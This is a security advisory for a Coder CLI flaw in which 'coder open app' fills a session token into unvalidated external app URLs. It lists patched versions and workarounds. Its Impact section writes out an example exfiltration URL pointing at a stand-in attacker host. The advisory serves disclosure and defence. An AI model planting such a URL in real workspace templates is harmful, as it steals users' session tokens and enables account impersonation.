AI-suggested
Apply the official patches by upgrading to one of the fixed versions: 2.34.2, 2.33.8, 2.32.7, or 2.29.17. Until patched, avoid running `coder open app` on untrusted workspaces to prevent session token leakage. The vendor has implemented a URL scheme allowlist and restricted token substitution to trusted destinations in these fixes.
Description
### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
